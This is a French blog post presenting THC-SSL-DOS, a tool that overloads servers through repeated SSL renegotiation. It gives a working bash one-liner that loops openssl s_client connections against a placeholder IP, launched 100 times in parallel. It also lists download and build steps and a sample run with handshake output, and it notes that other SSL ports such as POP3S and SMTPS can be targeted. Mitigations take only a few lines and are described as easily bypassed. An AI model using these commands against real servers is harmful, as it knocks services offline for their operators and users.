Attaque DoS avec SSL

Le groupe allemand The Hacker's Choice a publié un nouvel outil de DoS qui exploite une faiblesse dans le protocole SSL pour saturer un serveur.




Update : Une version privée du script existe, elle fonctionne même contre les serveurs qui ne supportent pas la renégociation SSL. Cette version ne sera jamais publiée.

Cependant avec openssl et 2 lignes en bash, on peut arriver au même résultat :
thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect ADRESSE_IP:443 2>/dev/null; done }
for x in `seq 1 100`; do thc-ssl-dosit & done

Le fait d'établir une connexion sécurisée avec SSL exige environ 15x plus de puissance pour le processeur du serveur. THC-SSL-DOS exploite cette propriété en surchargeant le serveur de demandes de négociation

L'avantage d'une attaque de ce type à une attaque DoS classique, est que ici ce n'est pas le combat de "celui qui a la plus grosse" bande passante mais sur la quantité de négociations SSL demandées par le client. Les serveurs actuels ne sont pas préparés à gérer une telle quantité de négociations SSL au même instant.

THC affirme que un simple PC portable tiendrai tête à un serveur de 30GBit.

Le problème affecte toutes les implémentations SSL à ce jour. 
Cette vulnérabilité a été découverte depuis 2003.


Téléchargement : 
Windows : thc-ssl-dos-1.4-win-bin.zip
Sources Unix : thc-ssl-dos-1.4.tar.gz

Ensuite faire ./configure et make all install.

Utilisation : 

root@localhost~$ sudo thc-ssl-dos ADRESSE_IP PORT --accept
Handshakes 0 [0.00 h/s], 0 Conn, 0 Err
Secure Renegotiation support: yes
Handshakes 0 [0.00 h/s], 97 Conn, 0 Err
Handshakes 68 [67.39 h/s], 93 Conn, 0 Err
Handshakes 158 [79.31 h/s], 100 Conn, 0 Err
Handshakes 238 [80.34 h/s], 100 Conn, 0 Err
Handshakes 328 [80.72 h/s], 100 Conn, 0 Err
Handshakes 380 [79.23 h/s], 100 Conn, 0 Err
Handshakes 493 [82.63 h/s], 100 Conn, 0 Err

Le --accept atteste que votre cible est légitime et que vous êtes pleinement autorisé à effectuer le test sur celle-ci.

Il est possible également de taper sur d'autres ports que le traditionnel 443, comme sur le POP3S, SMTPS, FTPS ou tout autre port sous SSL.


Comment limiter les dégâts :
Comment se protéger :

Il n'y a pas de réelles solutions pour se protéger, ces quelques actions peuvent néanmoins atténuer le problème :
1. Désactiver la renégociation SSL
2. Investir dans un accélérateur SSL

Ces contre-mesures peuvent être simplement contournées en modifiant le code.


Imaginez une attaque DDoS de quelques milliers de machines avec cet outil...

Don't be evil...


Aucun commentaire:

Enregistrer un commentaire